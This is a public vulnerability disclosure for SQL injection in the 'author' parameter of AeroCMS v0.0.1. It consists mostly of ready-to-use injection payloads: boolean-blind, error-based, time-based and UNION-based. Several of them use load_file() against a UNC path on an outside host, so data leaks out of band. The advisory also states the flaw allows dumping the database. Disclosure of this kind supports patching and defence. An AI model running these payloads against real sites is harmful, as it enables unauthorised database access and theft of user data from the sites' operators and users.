AeroCMS 0.0.1 SQL Injection

## Title: AeroCMS-v0.0.1 SQLi## Author: nu11secur1ty## Date: 08.27.2022## Vendor: https://github.com/MegaTKC## Software: https://github.com/MegaTKC/AeroCMS/releases/tag/v0.0.1## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi## Description:The `author` parameter from the AeroCMS-v0.0.1 CMS system appears tobe vulnerable to SQL injection attacks.The malicious user can dump-steal the database, from this CMS systemand he can use it for very malicious purposes.STATUS: HIGH Vulnerability[+]Payload:```mysql---Parameter: author (GET)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: author=-5045' OR 8646=8646 AND 'YeVm'='YeVm&p_id=4    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: author=admin'+(selectload_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''OR (SELECT 7539 FROM(SELECT COUNT(*),CONCAT(0x717a6a6a71,(SELECT(ELT(7539=7539,1))),0x7170716b71,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'mwLN'='mwLN&p_id=4    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: author=admin'+(selectload_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''AND (SELECT 6824 FROM (SELECT(SLEEP(5)))QfTF) AND 'zVTI'='zVTI&p_id=4    Type: UNION query    Title: MySQL UNION query (NULL) - 10 columns    Payload: author=admin'+(selectload_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''UNION ALL SELECTNULL,NULL,CONCAT(0x717a6a6a71,0x4f617a456c7953617866546b7a666d49434d644662587149734b6d517a4e674d5471615a73616d58,0x7170716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p_id=4---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi)## Proof and Exploit:[href](https://streamable.com/ir9bjt)